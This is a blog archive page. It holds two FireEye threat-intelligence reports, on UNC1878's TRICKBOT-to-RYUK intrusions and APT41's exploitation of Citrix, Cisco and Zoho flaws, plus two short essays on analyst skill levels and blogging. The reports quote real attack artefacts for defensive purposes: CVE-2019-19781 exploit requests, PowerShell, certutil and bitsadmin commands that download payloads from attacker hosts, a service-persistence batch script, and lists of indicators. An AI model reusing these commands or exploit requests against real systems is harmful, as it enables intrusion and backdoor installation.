Monthly Archives: March 2020

It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.

Identification

On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).

ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).

cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”

Figure 2: PowerShell download cradle used to request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale.

Expansion

Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.

Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
        Validity
            Not Before: Jan 28 02:02:14 2020 GMT
            Not After : Apr 27 02:02:14 2020 GMT
        Subject: CN=cylenceprotect[.]com

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1843990795 (0x6de9110b)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
        Validity
            Not Before: Jan 28 03:06:30 2020 GMT
            Not After : Apr 27 03:06:30 2020 GMT
        Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike

Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.

While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:

  • Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
  • Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
  • Self-hosted name servers.
  • Let’s Encrypt certificates on port 80.
  • Virtual private servers hosted predominantly by Choopa.
  • BEACON payloads configured with the Amazon malleable C2 profile.
  • Cobalt Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.

Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.

Discovery

With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.

While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.

Conclusion

Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.

Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.

Indicators of Compromise

Domains

  • aaatus[.]com
  • avrenew[.]com
  • besttus[.]com
  • bigtus[.]com
  • brainschampions[.]com
  • checkwinupdate[.]com
  • ciscocheckapi[.]com
  • cleardefencewin[.]com
  • cmdupdatewin[.]com
  • comssite[.]com
  • conhostservice[.]com
  • cylenceprotect[.]com
  • defenswin[.]com
  • easytus[.]com
  • findtus[.]com
  • firsttus[.]com
  • freeallsafe[.]com
  • freeoldsafe[.]com
  • greattus[.]com
  • havesetup[.]net
  • iexploreservice[.]com
  • jomamba[.]best
  • livecheckpointsrs[.]com
  • livetus[.]com
  • lsassupdate[.]com
  • lsasswininfo[.]com
  • microsoftupdateswin[.]com
  • myservicebooster[.]com
  • myservicebooster[.]net
  • myserviceconnect[.]net
  • myserviceupdater[.]com
  • myyserviceupdater[.]com
  • renovatesystem[.]com
  • service-updater[.]com
  • servicesbooster[.]com
  • servicesbooster[.]org
  • servicesecurity[.]org
  • serviceshelpers[.]com
  • serviceupdates[.]net
  • serviceuphelper[.]com
  • sophosdefence[.]com
  • target-support[.]online
  • taskshedulewin[.]com
  • timesshifts[.]com
  • topsecurityservice[.]net
  • topservicehelper[.]com
  • topservicesbooster[.]com
  • topservicesecurity[.]com
  • topservicesecurity[.]net
  • topservicesecurity[.]org
  • topservicesupdate[.]com
  • topservicesupdates[.]com
  • topserviceupdater[.]com
  • update-wind[.]com
  • updatemanagir[.]us
  • updatewinlsass[.]com
  • updatewinsoftr[.]com
  • web-analysis[.]live
  • windefenceinfo[.]com
  • windefens[.]com
  • winsysteminfo[.]com
  • winsystemupdate[.]com
  • worldtus[.]com
  • yoursuperservice[.]com

IP Addresses

  • 31.7.59.141
  • 45.32.30.162
  • 45.32.130.5
  • 45.32.161.213
  • 45.32.170.9
  • 45.63.8.219
  • 45.63.95.187
  • 45.76.20.140
  • 45.76.167.35
  • 45.76.231.195
  • 45.77.58.172
  • 45.77.89.31
  • 45.77.98.157
  • 45.77.119.212
  • 45.77.153.72
  • 45.77.206.105
  • 63.209.33.131
  • 66.42.97.225
  • 66.42.99.79
  • 79.124.60.117
  • 80.240.18.106
  • 81.17.25.210
  • 95.179.147.215
  • 95.179.210.8
  • 95.179.215.228
  • 96.30.192.141
  • 96.30.193.57
  • 104.156.227.250
  • 104.156.245.0
  • 104.156.250.132
  • 104.156.255.79
  • 104.238.140.239
  • 104.238.190.126
  • 108.61.72.29
  • 108.61.90.90
  • 108.61.176.237
  • 108.61.209.123
  • 108.61.242.184
  • 140.82.5.67
  • 140.82.10.222
  • 140.82.27.146
  • 140.82.60.155
  • 144.202.12.197
  • 144.202.83.4
  • 149.28.15.247
  • 149.28.35.35
  • 149.28.50.31
  • 149.28.55.197
  • 149.28.81.19
  • 149.28.113.9
  • 149.28.122.130
  • 149.28.246.25
  • 149.248.5.240
  • 149.248.56.113
  • 149.248.58.11
  • 151.106.56.223
  • 155.138.135.182
  • 155.138.214.247
  • 155.138.216.133
  • 155.138.224.221
  • 207.148.8.61
  • 207.148.15.31
  • 207.148.21.17
  • 207.246.67.70
  • 209.222.108.106
  • 209.250.255.172
  • 216.155.157.249
  • 217.69.15.175

BEACON Staging URLs

  • hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
  • hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
  • hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
  • hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
  • hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
  • hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
  • hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
  • hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
  • hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
  • hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
  • hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
  • hxxps://havesetup[.]net/afgthyjuhtgrfety
  • hxxps://servicesbooster[.]org:443/sfer4f54
  • hxxps://servicesecurity[.]org:443/fuhvbjk
  • hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
  • hxxps://timesshifts[.]com:443/ry56rt6yh5rth
  • hxxps://update-wind[.]com/aergerhgrhgeradgerg
  • hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf

Skill Levels in Digital Security


Two posts in one day? These are certainly unusual times.

I was thinking about words to describe different skill levels in digital security. Rather than invent something, I decided to review terms that have established meaning. Thanks to Google Books I found this article in a 1922 edition of the Archives of Psychology that mentioned four key terms:

  1. The novice is a (person) who has no trade ability whatever, or at least none that could not be paralleled by practically any intelligent (person).
  2. An apprentice has acquired some of the elements of the trade but is not sufficiently skilled to be trusted with any important task.
  3. The journey(person) is qualified to perform almost any work done by members of the trade.
  4. An expert can perform quickly and with superior skill any work done by (people) in the trade.
I believe these four categories can apply to some degree to the needs of the digital security profession.

At GE-CIRT we had three levels -- event analyst, incident analyst, and incident handler. We did not hire novices, so those three roles map in some ways to apprentice, journeyperson, and expert. 

One difference with the classical description applies to how we worked with apprentices. We trusted apprentices, or event analysts, with specific tasks. We thought of this work as important, just as every role on a team is important. It may not have been leading an incident response, but without the work of the event and incident analysts, we may not have discovered many incidents!

Crucially, we encouraged event analysts, and incident analysts for that matter, to always be looking to exceed the parameters of their assigned duties.

However, we stipulated that if a person was working beyond their assigned duties, they had to have their work product reviewed by the next level of analysis. This enabled mentoring among the various groups. It also helped identify people who were candidates for promotion. If a person consistently worked beyond their assigned duties, and eventually reached a near-perfect or perfect ability to do that work, that proved he or she was ready to assume the next level.

This ability to access work beyond assigned duties is one reason I have problems with limiting data by role. I think everyone who works in a CIRT should have access to all of the data, assuming there are no classification, privacy, or active investigation constraints.

One of my laws is the following:

Analysts are good because they have good data. An expert with bad data is helpless. An apprentice with good data has a chance to do good work.

I've said it more eloquently elsewhere but this is the main point. 

For more information on the apprenticeship model, this article might be useful.

When You Should Blog and When You Should Tweet


I saw my like-minded, friend-that-I've-never-met Andrew Thompson Tweet a poll, posted above.

I was about to reply with the following Tweet:

"If I'm struggling to figure out how to capture a thought in just 1 Tweet, that's a sign that a blog post might be appropriate. I only use a thread, and no more than 2, and hardly ever 3 (good Lord), when I know I've got nothing more to say. "1/10," "1/n," etc. are not for me."

Then I realized I had something more to say, namely, other reasons blog posts are better than Tweets. For the briefest moment I considered adding a second Tweet, making, horror of horrors, a THREAD, and then I realized I would be breaking my own guidance.

Here are three reasons to consider blogging over Tweeting.

1. If you find yourself trying to pack your thoughts into a 280 character limit, then you should write a blog post. You might have a good idea, and instead of expressing it properly, you're falling into the trap of letting the medium define the message, aka the PowerPoint trap. I learned this from Edward Tufte: let the message define the medium, not the other way around.

2. Twitter threads lose the elegance and readability of the English language as our ancestors created it, for our benefit. They gave us structures, like sentences, lists, indentation, paragraphs, chapters, and so on. What does Twitter provide? 280 character chunks. Sure, you can apply feeble "1/n" annotations, but you've lost all that structure and readability, and for what?

3. In the event you're writing a Tweet thread that's really worth reading, writing it via Twitter virtually guarantees that it's lost to history. Twitter is an abomination for citation, search, and future reference. In the hierarchy of delivering content for current researchers and future generations, the hierarchy is the following, from lowest to highest:

  • "Transient," "bite-sized" social media, e.g., Twitter, Instagram, Facebook, etc. posts
  • Blog posts
  • Whitepapers
  • Academic papers in "electronic" journals
  • Electronic (e.g., Kindle) only formatted books
  • Print books (that may be stand-alone works, or which may contain journal articles)

Print book are the apex communication medium because we have such references going back hundreds of years. Hundreds of years from now, I doubt the first five formats above will be easily accessible, or accessible at all. However, in a library or personal collection somewhere, printed books will endure.

The bottom line is that if you think what you're writing is important enough to start a "1/n" Tweet thread, you've already demonstrated that Twitter is the wrong medium.

The natural follow-on might be: what is Twitter good for? Here are my suggestions:

  • Announcing a link to another, in-depth news resource, like a news article, blog post, whitepaper, etc.
  • Offering a comment on an in-depth news resource, or replying to another person's announcement.
  • Asking a poll question.
  • Asking for help on a topic.
  • Engaging in a short exchange with another user. Long exchanges on hot topics typically devolve into a confusing mess of messages and replies, that delivery of which Twitter has never really managed to figure out.

I understand the seduction of Twitter. I use it every day. However, when it really matters, blogging is preferable, followed by the other media I listed in point 3 above.

Update 0930 ET 27 Mar 2020: I forgot to mention that in extenuating circumstances, like live-Tweeting an emergency, Twitter threads on significant matters are fine because the urgency of the situation and the convenience or plain logistical limitations of the situation make Twitter indispensable. I'm less thrilled by live-Tweeting in conferences, although I'm guilty of it in the past. I'd prefer a thoughtful wrap-up post following the event, which I did a lot before Twitter became popular.

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

